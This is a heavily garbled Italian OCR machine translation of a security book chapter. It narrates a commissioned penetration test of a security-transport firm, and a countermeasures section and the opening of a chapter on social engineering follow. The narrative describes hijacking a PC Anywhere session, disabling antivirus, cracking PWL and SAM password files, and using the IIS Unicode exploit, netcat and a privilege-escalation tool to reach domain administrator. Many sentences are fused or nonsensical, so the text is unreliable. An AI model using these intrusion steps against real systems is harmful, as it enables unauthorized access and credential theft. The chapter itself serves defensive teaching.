Internet tramite un tunnel VPN. "Hanno ipotizzake ¢e guardie
rimetterebbe in ISP e autenticazione li, primaalep
collegarsi alla rete della societa bersaglio.
Ma c'era anche un'altra possibilita. Louis continuo
Abbiamo ipotizzato, "Vediamo se siamo in graddal@rare un architettura
per cui un ragazzo in un furgone puo chiamare, gesg suo Creator autenticazione
dentials attraverso e sono effettivamente autetitiz target
societa piuttosto che il fornitore di telecomuniceiz. Come poteva che com-
societa VPN essere impostato in modo che tutt@dennazioni di essere passata da
la guardia per la societa target non sarebbe andatohiaro in tutta
Internet? "
Hanno anche pensato a come la societa stava andarabenticazione
utenti colata. Se una guardia deve selezionareafimoo di questi sistemi situati
la societa di telecomunicazioni e l'autenticazial societa di telecomunicazioni, che
motivato, quindi i servizi di autenticazione somatissemplicemente di essere esternalizzati.
Forse c'era un'altra soluzione, hanno pensatgpéautenticazione
server zione sono stati effettivamente ospitaledsbcieta target piuttosto che il
fornitore di telecomunicazioni.
Spesso l'attivita di autenticazione e spacciataipeserver separato che pro-
VIDES questa funzione. Forse il dispositivo 3Costato utilizzato per accedere a un
server di autenticazione sulla rete interna deltaeta target.
Chiamare da un modem cellulare, una guardia doerebhnettersi al provider di servizi Internet,
sia
passati al dispositivo 3Com, e il suo nome utergassword sarebbe poi
essere espulso per l'altro server per l'autentoazi
Quindi la loro ipotesi di lavoro a questo punto ena quando una guardia
avviato una connessione dial-up, ha stabilito uR&l\fra sé e
il dispositivo 3Com.
Louis e Brock capito che per ottenere l'accessorate interna, che



prima dovuto accedere al sistema di telecomunioaaildSP che

i driver van connessi. Ma "una cosa che non sapeamil

I numeri di telefono di questi dispositivi dial-upL trovavano in una straniera
paese e noi non sapevamo che tipo di linee teldiergrano, e noi

non ha avuto molte possibilita di scoprire chenferimazioni da soli. Il grande
cosa che sapevamo era che il tipo di protocolldp®PN PPTP e stato. "

Il motivo di questo é stato significativo perchédfault installazione di Microsoft VPN
mento utilizza solo un segreto condiviso, che dise il login di Windows e
password al server o dominio.
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Avevano avuto un paio di drink di questo tempoaero deciso una "no-
esclusione di colpi approccio "per risolvere il lplema.
In questa fase si sta andando a mantenere quesgtmk carta che hai scrib-
sanguinato tutta questa roba sul perché questcepbie essere davvero un buon trucco
se otteniamo in. E c'era quasi un senso di orgag#o due
di noi su come stavamo andando a realizzare questo.
Alcune riflessioni su "Intuition” Hackers "
L'ipotesi la coppia ha fatto quella notte sarebbelarsi abbastanza preciso.
Louis osservato su questa intuizione che i buock&éasembrano avere:
E 'molto difficile spiegare quello che ti fa avepeella sensazion& 'solo
proviene da esperienze e guardando il modo in sigtemi sono
configurato.
Brock, in una fase molto precoce, appena ricevaiteehsazione che dovremmo
andare avanti con questa cosa perché pensava akarab andando a ottenere
Un risultato dalla ricerca; € molto difficile da smare. Hacker di
I'intuizione?
Vedete piccoli pezzi di informazioni, e di comastale cose
formulate, e si inizia ad avere un po 'di una vigalel com-
societa e le persone che sono responsabili deireishformatici.E
c'era tipo di questo sentimento che sapevano sidlaezza ma
che forse stanno facendo qualcosa di un po 'sbglia
Il mio punto di vista del soggetto e che gli hackienere un'idea di come rete
opere e sistemi sono in genere configurati in antbibusiness
semplicemente rovistando. Con I'esperienza, siagraala consapevolezza di come
Gli amministratori e gli esecutori di sistema perseE 'come una partita a scacchi,
in cui si sta cercando di outthink o superare tozaa il tuo avversario.
Quindi credo che cosa in realta € in gioco quisatmsull'esperienza di come stema
Gli amministratori tem creazione di reti e gli @impiu comuni che fanno.
Forse Louis era proprio all'inizio del suo interieesul tema:
Quello che alcuni chiamano intuizione e megliotetitataesperienza.
Il quarto giorno
La mattina dopo, quando sono venuti in, si sedeyaaedava la
CONSOLE accedere al dispositivo 3Com, in attesdeppersone a collegare fino. Ogni
volta che qualcuno ha fatto, nel piu breve tempssjimle, si porta a scansione l'indirizzo IP
che stava facendo una connessione in ingresso.
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Essi hanno scoperto che queste connessioni siiav\per forse un minuto o giu di li

e poi staccato. Se avevano ragione, una guardckalsaiquadrante in, raccogliere

il suo ordine di lavoro, poi tornare subito in ndi nuovo. Il che significava che avrebbero
devono muoversi molto rapidamente. "Quando abbisto questi indirizzi IP lampeggiano up,
ci piacerebbe davvero BASH il sistema client diiha, commentato Louis, utilizzando™ bash "
nel senso di martellamento i tasti con adrenalgeg@zione, come in gioco

un gioco per computer emozionante.

Sono venuti fuori alcune porte per i servizi ch&a@abero essere vulnerabili, tramoggia
ing di trovare uno che potrebbe essere attaccaoe ain server telnet o FTP, 0

un server Web non sicuro. O forse si potrebbe ettehaccesso alle condivisioni aperte
NetBIOS su. Hanno anche cercato desktop remotadasasUI pro-

grammi, come WinVNC e PC Anywhere.

Ma come la mattina si trascino, non potevano vetlgtiel servizi in esecuzione

di lIa di un paio di host.

Non siamo stati davvero andando da nessuna padsisiamo seduti li e mantenuto
scansione ogni volta che un utente remoto colledatmoi uno

la macchina collegata. Abbiamo fatto una scansidelée porte e abbiamo trovato una porta
aperta

normalmente utilizzati per PC Anywhere.

Il PC applicazione Anywhere permette di prendeo®iitrollo di un computer

in remoto. Ma questo e possibile solo quando datmputer € anche run

ning il programma.

Vedendo che la porta si presento sulla scansiolie derte, si era un po 'questo

rinnovato senso di entusiasmo - "Ah, c'é PC Anye/Barquesto

scatola.Questo potrebbe essere una delle macchine degiii diteali, diamo davvero andare
con questo. "

Ci urlavano circa il luogo, "Chi ha PC Anywhere

installato 1? "

Qualcuno grido, "Ho PC Anywhere." Cosi ho griddto i

Indirizzo IP in modo da poter collegare al sisteiinaiu rapidamente possibile.

Louis chiamato lo sforzo di collegarsi ad un PC whgre sistema "molto

definizione momento. "Si € unito l'altro ragazzia alua macchina come una finestra
apparso sullo schermo. "E 'un primo fondo nero'déido Louis,

"E una delle due cose succede - sia una richiedt@agassword é grigio

visualizzato, o lo sfondo diventa blu e un deskioy/indows viene

in vista. "

L'opzione desktop e quello che tenevamo i nospireper.

Sembrava un'eternita in attesa per lo schermo nero
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scompaiono. Continuavo a pensare a me stessd, ¢@l&gamento, € con-
collegando, sta andando a timeout. "Oppure:" Vadutanere una password
pronta. "
Proprio all'ultimo secondo, quando ho pensato "Eche arriva la password
parola pronta, "era il desktop di Windowalow!Abbiamo un
desktop a questo punto. Tutti gli altri in cameraeduto a guardare.
La mia reazione é stata: "Ci risiamo, cerchiamaldvvero ottenere una sospensione di questo,
cerchiamo di non perdere questa opportunita. "



Cosi erano ormai con successo nel client che aibea)

Dispositivo 3Com.

A questo punto, abbiamo pensato che fosse ucaidessere ucciso - sapevamo che
gueste persone sono state collegando per pochidsimpo e sapevamo

potremmo non avere un'altra occasione.

La prima cosa da fare e stato quello di apriressi®ne di PC Anywhere e colpito due
pulsanti sullo schermo, che Louis denominato "Blacitkermo pulsante

. ton "e il" Bloccare I'utente dal pulsante di coles’, ha spiegato:

Quando si utilizza il PC Anywhere, per impostaziprezlefinita sia la persona al
tavolo della macchina e la persona che utilizzaRgwhere possono

avere accesso al mouse e spostarlo sulla scherpsataseguire

applicazioni o file aperti, e cosi via. Ma con P@yAvhere

si puo effettivamente bloccare l'utente alla tastie

Lo hanno fatto, ottenendo il controllo della sessicanche fare in modo che 'utente
non poteva vedere cosa stessero facendo perchéravescurato il suo schermo.
Louis sapeva che non ci sarebbe voluto I'utentgdyrer ottenere sospetti o pensare
ha avuto un problema al computer, e spegnere lahiracverso il basso, il che significa che
i ragazzi non hanno molto a lungo.

Stavamo ora cercando di salvare la nostra poss$#di arrivare finalmente in. A
questo punto, abbiamo dovuto pensare rapidameneeth tra di noi a decidere
guello che stavamo andando a provare il prossinguali informazioni preziose
potremmo ricavare da questa macchina.

Ho potuto vedere che la macchina era in esecuzitioeosoft Windows 98

e cosi quello che dovevamo fare era trovare qualaire potesse dire cosa
informazioni che potrebbero uscire da una macciadows 98.

Fortunatamente, uno di questi ragazzi nella stanzara stato tipo di

prendere un interesse, questo ragazzo non é dfettvwamente lavorando nostro pro-
ect, ma sa come ottenere sistemi informativi off.
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La prima cosa che ha suggerito stava guardandstdedelle password (PWL)
file. (Questo file, utilizzato in Windows 95, 98 ME, contiene sensibile
informazioni come dial-up e le password di rete.eSémpio, se si
utilizzare connessione remota in Windows, tuteftagli di autenticazione,
compreso il numero dial-up, il nome utente e lsspasd, sono probabilmente memorizzati
in un file PWL.)
Prima di scaricare il file, hanno dovuto disattezérsoftware antivirus
qguindi non sarebbe rilevare gli strumenti che stauasando. Poi hanno cercato con il
capacita di documento trasferimento PC Anywherenasferire il file PWL
dalla macchina di guida a se stessi. Non ha fuatmriNon siamo stati
so perché, ma non ha avuto il tempo di sedersirinote discuterne. Abbiamo dovuto prendere
le informazioni PWL questa macchina immediatamemitre l'autista era
ancora in linea ".
Che altro potevano fare? Una possibilita: cariceréool di cracking, crepa
il file PWL sulla macchina del conducered estrarre le informazioni in un
file di testo, e quindi inviare il file di testose stessi. Hanno cercato di accedere in
un server FTP per scaricare lo strumento PWL cgaka hanno realizzato un dif-
ficolta: Le mappature di tastiera sulla macchinlacdeducente fosse per il for-
lingua eign, che spiegherebbe i problemi che s@maaendo



cercando di autenticazione. "Abbiamo mantenuto semp messaggio di 'Login errato’
a causa delle mappature di tastiera straniera. "

L'orologio é stato ticchettare.

Abbiamo pensato che il nostro tempo sarebbe staio $eduta di questo tipo in un
van sicurezza, potrebbe essere trasportava un sdicsoldi, o forse

prigionieri. Si sta chiedendo a se stesso, "Cheal@sta succedendo

qui? "

Ho paura che stia per staccare la spina prima déoére cio che vogliamo.

Qui erano, di fronte a una crisi di tempo enormementto pressione, € nessuno dei
ragazzi nella stanza aveva una risposta per ill@nud estera tastiera.

Forse come soluzione potrebbero inserire il noreatate la password in

Codice ASCII invece di lettere e numeri reali. Mssuno sapeva off-

mano come inserire i caratteri con il codice AS€tjuivalente.

Allora, che cosa fare chiunque nel mondo di oggarglo hanno bisogno di una risposta
in fretta? Questo € cio che Louis e Brock ha fa#dnbiamo optato per saltare a
Internet e fare qualche ricerca per trovare un nthdmtrare lettere ritirata
utilizzando le lettere sulla tastiera. "

In breve tempo, hanno avuto la loro risposta: Attivil tasto Bloc Num, quindi
tenere premuto il tasto <Alt> e digitare il numeled carattere ASCII

il tastierino numerico. Il resto e stato facile:
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Abbiamo spesso bisogno di tradurre lettere e simbdSCIl e
viceversaE 'semplicemente un caso di stare in piedi e guaidauno dei
i nostri fogli presepe utili che abbiamo sulle pare
Invece di immagini di pinup ragazze, questi ragaxeivano tabelle ASCII sulla
pareti. "Pinups ASCII," Louis li descrivono.
Con un po 'di scarabocchi giu di informazioni, eragazzo di battitura al
tastiera mentre l'altro gli leggere cosa tipo, senati con successo
il nome utente e la password. Sono stati quindrado di trasferire il PWL
screpolature strumento ed eseguirlo per estrairddemazioni dal file PWL in
un file di testo, che poi trasferiti fuori computsortatile del conducente di un FTP
Server sotto il loro controllo.
Quando Louis esaminato il fascicolo, ha trovatorexlenziali di autenticazione
egli aveva cercato, tra cui il numero di accessuote e l'accesso mazioni
zioni utilizzato dal conducente durante la conrassia VPN aziendale
servizio. Questo, penso Louis, era tutte le infaiiora di cui aveva bisogno.
Mentre la pulizia per essere sicuri che non hadssalcuna traccia della loro visita,
Louis ispezionato le icone sul desktop e noto ur@sembrava
essere per lI'applicazione in fase di esecuzionkepggrardie per raccogliere la loro informazione
zione da parte della societa. E quindi sapevanajabkste macchine erano, in
Infatti, il collegamento attraverso la societargdrrogazione di una domanda
server per ottenere le informazioni necessarigiiati in campo.
Accesso Sistema della Societa
"Siamo stati molto consapevoli,” Louis ricordatohé l'utente puo essere ora
I'attivita di reportistica strano, quindi abbiansiratto noi stessi dalla situazione.
Perché se questo incidente ottenuto segnalateeevizio VPN ottenuto chiuso,
allora le nostre credenziali di accesso non vaesbhulla. "
Un paio di secondi dopo, hanno notato che il IcEoAPywhere con-



collegamento caduto - la guardia aveva staccatasle|'equipaggio avevano
estratte le informazioni dal file PWL appena in pgm

Louis e Brock ora ha avuto un numero di telefom® si aspettavano di essere
per uno dei dispositivi dial-up che avevano diségsalla loro diagramma nel
pub la sera prima. Ma ancora una volta, & statorilero straniera. Utilizzando Windows
Sistema dello stesso tipo che la guardia aveva usiatomposti fino a

rete aziendale, € entrato il nome utente e la passa/"Noi

scoperto che abbiamo stabilito con successo us@asesvPN. "

Il modo in cui la VPN é stato configurato, che hawdlato un indirizzo IP virtuale
all'interno DMZ della societa, quindi erano dieitrprimo firewall, ma ancora

di fronte al firewall di guardia la rete internaecim precedenza

scoperto.
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Questo indirizzo IP assegnato dal VPN era sul catnpMZ ed era probabile
fiducia da alcune macchine della rete interna. £ @uevede che
penetrando la rete interna sarebbe molto, moltdamile, poiché
aveva ottenuto oltre il primo firewall. "A questargo”, dice, "ci aspettavamo
sarebbe facile ottenere attraverso il firewall)enedti interne ". Ma
guando ha cercato, ha scoperto che non potevaedirattamente a un sfruttabili
servizio sulla macchina che esegue il server @gj#icazioni. "C'é stato un molto
strano porta TCP che e stato consentito attravkfittoaggio, che abbiamo indovinato
sia per I'applicazione che le guardie stavano usavid non sapevamo
come ha funzionato. "
Louis voleva trovare un sistema di rete interndialeénda che
essi potevano accedere dall'indirizzo IP che etta sissegnato. Lui
ha adottato le "regole di hacker soliti" per ceeadirtrovare un sistema che potevano
sfruttare sulla rete interna.
Speravano di trovare un sistema all'interno delle che era
mai accessibile da remoto, sapendo che probabiémment essere patchato
contro queste vulnerabilita, dal momento che enappobabilita di essere trattato come un
uso interno-unico sistema. "Hanno usato un porirssaper la ricerca di qualsiasi accessorio
Server sibile Web (porta 80) su tutta la gammarizzh IP del inter-
rete nal, e ha trovato un server Windows che pot@eamunicare
in esecuzione Internet Information Server (11S),una versione precedente
del software server popolari - [IS4. Che era urande notizia, dal momento che
erano probabilita di trovare un po 'di vulnerahilit di configurazione errore senza patch
che avrebbe dato loro le chiavi del regno.
La prima cosa che hanno fatto e stato quello djwse un rilevamento vulnerabilita Unicode
strumento contro il server 1S4 per vedere se ahaerabile, ed é stato.
(Unicode € un set di caratteri a 16 bit per la ficalidei caratteri da molte dif-
lingue di- con un unico set di caratteri). "Cosinso stati in grado di utilizzare il
Unicode exploit per eseguire comandi sul server Wep'sull'utilizza-
ing vulnerabilita di sicurezza in un sistema ddmetondo firewall filtrante
sulla loro rete interna ", nel profondo di fiduegritorio, per cosi dire," in
La descrizione di Louis. Gli hacker in questo ceesadizzati una richiesta Web
(HTTP) che usato questi personaggi appositamewtiécaii per aggirare la rezza
controlli rezza del server Web, che consente loesdguire com- arbitraria
comandi con gli stessi privilegi dell'account destWserver



correndo sotto.

Bloccato perché non avevano la possibilita di eaedile, ora vedevano
un‘opportunita. Hanno usato la vulnerabilita Uneqer eseguire il "echo”

il comando shell di caricare un Active Server Pg@e3P) script - una semplice

file di uploader che ha reso facile trasferire stenti di hacking piu di una direzione
tory sotto il webroot che € stato autorizzato gese gli script lato server.
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(I webroot € la directory principale del serverbVeome distinta
dalla directory principale di un particolare disagido, ad esempio C:\) L'eco.
comando scrive semplicemente argomenti passatsa Buscita puo essere
reindirizzato a un file invece di schermo dell'ueeAd esempio, digitando "echo
di proprieta> mitnick.txt "scrivera la parola” progta "nel file mitnick.txt.
Hanno usato una serie di comandi echo di scrivex@dice sorgente di un
Script ASP in una directory eseguibile sul servebwW
Hanno poi caricati altri strumenti di hacking, caoesa la rete popolare
lavora netcat strumento, che € un programma diautiiolto utile per la creazione di un com-
comando shell per I'ascolto su una porta in entEetai hanno inoltre caricato un exploit
strumento chiamato HK che sfruttava una vulnerabiiella versione precedente di Windows
NT di ottenere privilegi di amministratore di sista.
Hanno caricato un semplice script per eseguire BAploit e poi
netcat utilizzato per aprire una connessione gysesteriore a se stessi, consentendo loro
per immettere i comandi al computer di destinaziomato simile a ottenere un "DOS
prompt "nei giorni del sistema operativo DOS. "Adohb cercato di avviare
una connessione in uscita dal server Web internostro computer
DMZ ", ha spiegato Louis. "Ma questo non ha funaion quindi abbiamo dovuto usare un
tecnica chiamata 'porto barging' ". Dopo aver eeguyrogramma di HK
privilegi di guadagno, hanno configurato netcaasiolto sulla porta 80; a "chiatta"
il server IS allontanato temporaneamente, guarolgred la prima entrata
connessione alla porta 80.
Louis spiegato barging dicendo, "Tu essenzialmspitegere temporaneamente
[IS fuori strada, per rubare un guscio, e conseni® di intrufolarsi di nuovo in al
stesso tempo mantenere l'accesso al tuo guscioNindows ambiente
zione, a differenza dei sistemi operativi di tippix) € consentito di avere due
programmi utilizzano la stessa porta contemporaeesn Un utente malintenzionato puo assumere
vantaggiosa
tage di questa caratteristica trovando una poranoim e filtrata dal firewall e
poi "irrompere" sul porto.
Questo e cio che Louis e Brock ha fatto. L'accediscshell che gia avevano su
I'nost di IIS é stato limitato ai diritti consemttl conto che il
Web server era in esecuzione sotto. Cosi correMéhe netcat, e sono stati in grado
per ottenere i privilegi di sistema - in esecuzioome utente del sistema, che ¢ il
privilegio piu alto del sistema operativo. Utilizedo metodo- serie
Gies, questo accesso permetterebbe loro di ottdrmemo controllo del target del
Ambiente Windows.
Il server € in esecuzione Windows NT 4.0. Gli aggogi volevano ottenere
una copia del file Security Accounts Manager (SAbhe conteneva
I dettagli di account utente, gruppi, le politickee;ontrolli di accesso. Sotto
questa versione precedente del sistema operatied)a eseguito il "rdisk / s" com-



comando di fare un disco di ripristino di emergerzaesto programma crea inizialmente
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diversi file in una directory chiamata "riparazidnéra i file e stato un
versione aggiornata del file SAM che contenevéngtih delle password per
tutti gli account sul server. All'inizio di LouisBrock recuperato il
File PWL contenente le password sensibili dal lpmtouna guardia di sicurezza;
ora stavano estraendo le password criptate degitilgu uno dei
i server della societa stessa. Hanno semplicencepiato il file SAM nel
webroot del server Web. "Poi, usando un browser, @wkebiamo recuperato esso
dal server alla nostra macchina nel nostro ufficio
Quando ebbero incrinato le password dal file SAdsac
notato e che c'era un altro account di amministeagal locale
macchina che era diverso l'account amministratarerporato.
Dopo Credo sia stato un paio di ore di rottura,mai@ stati in grado
per rompere la password per I'account e quindiaest
per autenticare al controller di dominio primarig&. noi
scoperto che l'account locale che aveva i dirittachministratore
sul server web abbiamo violato anche avuto la stpsssword su
dominio! L'account ha avuto anche i diritti di anmsitratore di dominio.
Quindi c'era un account di amministratore localé server web che
aveva lo stesso nome di un account di amministeadodominio per il
intero dominio, e la password per entrambi i canstato
anche la stessa. Evidentemente era un amminisgaliocgssere pigro e
la creazione di un secondo account con lo stesaterael ammini-
conto stratore sul sistema locale, e dandogli &ssa
password.
Step-by-step.'account locale era semplicemente un amminigeatol Web
server e non hanno privilegi per l'intero domia recuperando
la password di tale account del server Web locpibegie ad un distratto, pigro
amministratore, erano ora in grado di compromeiteteminio ammini-
conto trator. La responsabilita di un amministratdrdominio & quello di sommi-
ister o il gestore di un intero dominio, in quadtstinto da essere un
amministratore sul desktop locale o portatile (slagnacchina). In
Vista di Louis, questo amministratore non era w&gmne.
Questa € una pratica comune che vediamo tuttarnipte A strazione dominio
dalita creera account locali sulla loro macchindlaurete
lavorare, e utilizzare la stessa password per olaccount con dominio
privilegi di amministratore. E questo significa claesicurezza di ciascuno di essi
di tali sistemi locali possono essere utilizzati pempromettere la sicurezza del
intero dominio.
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Obiettivo raggiunto
Awvicinarsi.Louis e Brock visto che ora potevano ottenereritmllo completo
il server applicazioni ei dati in esso contenutnHo ottenuto
I'indirizzo IP utilizzato per la connessione alvszrdi applicazione dalla sicurezza



laptop di guardia. Da questo, si sono resi corgenver delle applicazioni era sul
stessa rete, che e probabilmente parte dello stiessmio. Alla fine, hanno avuto
pieno controllo delle attivita dell'intera societa.

Ora abbiamo raggiunto proprio al cuore del businégstremmo

modificare gli ordini su quel server di applicazercosi abbiamo potuto ottenere il
guardie di consegnare i soldi a cui abbiamo deftotremmo essenzialmente
emettere ordini alle guardie come, "Pick up soldiqliesta attivita

e scendere a questo indirizzo, "e siete in atteparlfarlo

guando arrivano.

O "Pick up questo prigioniero A, portarlo a qugstaizione, lo consegneranno ai
la custodia di questa persona, "e tu hai appepauttt di tuo cugino migliore
amico fuori di prigione.

O un terrorista.

Avevano in mano uno strumento per diventare riazltieando scompiglio. "E '
era un po 'scioccante perché non vedono la passihilquello che potrebbe
accaduto non avevamo portato questo alla lorozatiea ", spiega Louis.

Che guesta societa considera "sicurezza", eglectedn realtdospetto
sicurezza. "

lo

Nsight

Louis e Brock non si sono arricchiscono dal potereno tenuto in

le loro mani, e che non ha emesso ordini di aveggomieri rilasciati o

trasferiti. Invece, hanno fornito all'azienda upparto completo di cio che

aveva scoperto.

Dal suono di esso, la societa era stata gravemegltegente. Essi

non era passato attraverso un passo-passo-armligahi - "Se la prima macchina
viene compromessa, cosa potrebbe fare un haclkgralgpunto? "e cosi via.

Essi consideravano sicuro perché con qualche agafigone

modifiche, potrebbero colmare il divario Louis asemdicato. Il loro presupposto
zione era che non c'erano altri difetti, trannestpuehe Luigi e

Brock era riuscito a trovare e utilizzare.

Louis vede questo come un arroganza comune nefeseltlle aziende - una
estraneo non puo venire a predicare la sicureazlmque Azienda IT
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la gente non importa di essere raccontato alcuse cee devono essere corretti,
ma non accetteranno a nessuno dicendo loro chedewsao fare. Essi
pensano di sapere gia. Quando si verifica unazimt&, essi figura hanno appena
lasciato cadere la palla in questa sola occasione.
C
OUNTERMEASURES
Come in molte delle storie di questo libro, gli egggori qui non hanno trovato
molte falle di sicurezza nella loro societa targgpure i pochi che hanno trovato erano
abbastanza per permettere loro di possedere ltdibinio del computer aziendale
sistemi che erano essenziali per le operazionusiiness. Di seguito sono riportati alcuni
Lezioni di degno di nota.
Soluzioni alternative temporanee
Ad un certo momento nel passato, I'apparecchio 3@anstato inserito direttamente
alla porta seriale del router Cisco. Mentre la gicage di rispondere



bisogni immediati possono giustificare scorciateenologiche temporanee, non com-
azienda puo permettersi di lasciare "temporanecrmdano "per sempre”. Un programma dovrebbe
essere impostato per controllare la configurazoteelispositivi gateway attraverso
ispezione fisica e logica, oppure utilizzando ummareento di sicurezza che conti-
alleato controlla se eventuali porte aperte edisserun host o un dispositivo € in
accordo con la politica di sicurezza aziendale.

Utilizzando ad alta Ports

La societa di sicurezza ha configurato un routec€per consentire a distanza
connessioni su una porta alta, probabilmente gel&inzione che una porta ad alta
sarebbe mai abbastanza oscura per essere inciasopadoun utente malintenzionato -
un'altra versione dell'approccio "sicurezza attrsod'oscurita”.

Abbiamo gia affrontato la questione piu di una &oft queste pagine circa

la follia di ogni decisione sicurezza basata sistpuatteggiamento. Le storie di questo
libro dimostrano ancora una volta che se si lasgianico gap, alcuni

attaccante prima o poi trovarlo. La pratica miglierquello di garantire la sicurezza
che i punti di accesso di tutti i sistemi e dispesioscure 0 meno, essere filtro

trato da qualsiasi rete non attendibile.

Password

Ancora una volta, tutte le password predefiniteqagri dispositivo devono essere modificati
prima del sistema o dispositivo in produzione. Antdntecnica
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bianchi cinture sanno comune di sorveglianza e csfnutarlo. (Diversi
siti sul Web, come www.phenoelit.de/dpl/dpl.htnagrfiscono un elenco
di nomi utente e password di default.)
Protezione Laptop personale
| sistemi utilizzati dai lavoratori remoti dellageta sono state collegata
zione alla rete aziendale con poca 0 nessuna grajrana situazione
fin troppo comune. Un cliente aveva anche PC condip Anywhere per consentire
connessioni remote senza nemmeno richiedere usavpak Anche se la
computer era la connessione a Internet tramiteugiaé solo per molto
periodi di tempo limitati, ogni connessione creata finestra di esposizione.
Gli aggressori sono stati in grado di controlladistanza la macchina collegando
per il computer portatile che esegue PC Anywhengeliehé era stato istituito
senza richiedere una password, gli hacker sonaitiiasdirottare 'utente del
Desktop solo conoscendo l'indirizzo IP.
Redattori criteri IT dovrebbero considerare un igitp che i sistemi client
mantenere un certo livello di sicurezza prima diees autorizzati a connettersi a
la rete aziendale. | prodotti sono disponibili amgtallare gli agenti sul
sistemi client per garantire i controlli di sicurezsono commisurati com-
politica societa; accesso in caso contrario, ieama client viene negato a aziendale
risorse di calcolo. | cattivi ragazzi stanno peglerzare i loro obiettivi
esaminando l'intero quadro. Cio significa cercatiedividuare se un
agli utenti di connettersi in remoto, e in tal cdswigine di tali connessioni. Il
attaccante sa se lui o lei pud compromettere urpaten affidabile che e
utilizzato per connettersi alla rete aziendaldtareente probabile che questa fiducia
relazione puo essere abusata per ottenere 'acassaoformazioni aziendali
risorse.
Anche quando la sicurezza viene ben gestita altfiot di una societa, non vi e troppo



spesso una tendenza a trascurare i computer partedimputer di casa usati dai
dipendenti per I'accesso alla rete aziendale,dadoi un'apertura che

gli aggressori possono sfruttare, come quello chigcéesso in questa storia. Portatili

e home computer che si connettono alla rete intgéenano essere

sicuro; in caso contrario, il sistema informati@ dipendente pud essere I'anello debole
che é sfruttato.

Autenticazione

Gli aggressori, in questo caso sono stati in gdidgstrarre I'autenticazione informazioni
zione dal sistema del cliente senza essere scofnoe e stato sottolineato
ripetutamente nei capitoli precedenti, una formafpite di autenticazione sara
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fermare la maggior parte degli aggressori mortiariero tracce, e le aziende dovrebbero prendere
in considerazione
utilizzando password dinamiche, smart card, tokerertificati digitali come
mezzi di autenticazione per l'accesso remoto in \6RAltri sensibili
sistemi.

Filtraggio dei servizi non necessari

Il personale IT deve considerare la creazione dnsieme di regole di filtro per controllare sia
connessioni in entrata e in uscita verso host\ezeapecifici di

reti inaffidabili come Internet, cosi come di semisted

(DM2Z) le reti all'interno della societa.

Indurimento

La storia fornisce anche un promemoria di uno $taffhe non si sono preoccupati di
indurire i sistemi informatici connessi alla ret¢eirna, o di tenere

up-to-date con le patch di sicurezza, presumibitmmarcausa della percezione

che il rischio di compromissione era basso. Quastica comune da

I cattivi un vantaggio. Una volta che l'attaccantea il modo per accedere a un sin-
gle sistema non protetto interna ed e in grad@aipromettere con successo,

la porta € aperta per espandere l'accesso illagaddtri sistemi che sono

attendibile dal computer infetto. Ancora una vos@mplicemente basandosi sulla
firewall perimetrale per tenere gli hacker a ba#gza preoccuparsi di indurire

| sistemi connessi alla rete aziendale € come aglaumtutti i tuoi

ricchezza in banconote da 100 dollari sul tavol@i@anzo e capire che sei al sicuro
perché si mantiene la porta chiusa a chiave.

.

HE

B
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L
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Dal momento che questo € l'ultimo capitolo su stohe illustrano basano tecnico
attacchi, sembra come un buon posto per qualctudapdirricapitolare.

Se vi e stato chiesto di nominare passi imporgatidifendersi contro i piu
vulnerabilita comuni che consentono agli aggressiasitenere I'ingresso, sulla base del
storie di questo libro, che cosa avrebbero alc@tie gostre scelte essere?

Si prega di pensare alla tua risposta brevemenntepettura; poi vai a

la pagina successiva.
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Qualunque articoli € venuto su con alcuni dei githani vulnerabile
nerabilities descritte in questo libro, spero etsiricordati di includere
Almeno alcuni di questi:
e Sviluppare un processo per la gestione delle gaclyarantire che tutte le
aggiornamenti di sicurezza necessari siano apglioaihodo tempestivo.
e Per l'accesso remoto a informazioni sensibili cadicolo
risorse, utilizzano metodi di autenticazione pitifsono pro-
dotta mediante password statiche.
e Modificare tutte le password predefinite.
e Utilizzare un modello di difesa in profondita irodo che un singolo punto di errore
non mettere a repentaglio la sicurezza, e testg@armente questo modello su
base regolare.
e Stabilire una policy di sicurezza aziendale coneste il filtraggio
di traffico in entrata e in uscita.
e Harden tutti i sistemi basati sul client che acrexlinformazioni sensibili
risorse zione o di calcolo. Non dimentichiamo digersist-
ent attaccante rivolge anche sistemi client a uraitdre un
collegamento legittimo o di sfruttare un rapporitdidlicia
tra il sistema client e la rete aziendale.
e Usare rilevatori di intrusione per identificardraffico sospetto
o tentativi di sfruttare le vulnerabilitd note. iTsistemi
possono, cosi, identificare un insider dannoso attatcante che
ha gia compromesso il perimetro protetto.
e Abilitare funzioni di controllo del sistema opevat e di critica
applicazioni. Inoltre, assicurarsi che i registihe conservati su un
host sicuro che non ha altri servizi e il mero miai
BER di account utente.
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Capitolo 10

Gli ingegneri sociali - How They

Lavoro e come fermarli

L'ingegnere sociale impiega le stesse tecnichediyasione il resto di noi
utilizzare ogni giorno. Prendiamo ruoli. Cerchiardbcostruire credibilita. Chiediamo in natario
obblighi ROCAL. Ma l'ingegnere sociale applica geeggcniche in un

, modo manipolativo ingannevole, altamente immorspesso devastanti
effetto.

- Sociopsicologo Dr. Brad Sagarin

T

il suo capitolo fa qualcosa di un po 'diverso: @liemo al massimo
difficile tipo di attacco per rilevare e difenderisociale

ingegnere, o l'attaccante tecnico del ramo di ingastome uno



le armi in suo toolkit, prede sulle migliori qualiti umana

natura: le nostre tendenze naturali di essere wilsf®, educato, solidale, una squadra
giocatore, e il desiderio di ottenere il lavoradat

Come con la maggior parte delle cose nella vitactin@nacciano, il primo passo verso una sen-
difesa bile e la comprensione delle metodologikzatite dai cyber-cita

saries. Quindi, vi presentiamo qui una serie diizbni psicologiche che analizzano il
basi del comportamento umano che consentono l'megegsociale di essere cosi
influenza.

Prima, pero, una storia di un ingegnere socialavairo di aprire gli occhi. Il se-
muggito si basa su una storia che abbiamo ricgyeitascritto che sia divertente e

un caso da manuale di ingegneria sociale. Abbiaansato cosi bene che abbiamo
incluso, nonostante alcune riserve; 'uomo o aeeidentalmente
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omesso alcuni dettagli perché era distratto sa attivita
conta oppure ha fatto porzioni della storia. Angcarache se alcuni di questo
e finzione, rende il caso molto convincente la ssita di una migliore pro-
protezione contro gli attacchi di social enginegrin
Come altrove in tutto il libro, i dettagli sono steambiati per pro-
teggere sia l'attaccante e l'azienda cliente.
AS
SOCIALI
E
NGINEER AT
wW
ORK
Nell'estate del 2002, un consulente di sicurezzailananiglia e "Whurley"
e stato assunto da un gruppo di resort a Las \fegyasseguire una varieta di sicurezza
audit. Erano in fase di reingegnerizzazione lonoragcio alla sicurez-
rezza e lo assunse a "cercare di aggirare quadsta#ii i processi" in un
sforzo per aiutare a costruire una migliore infratstira di sicurezza. Ha avuto un sacco
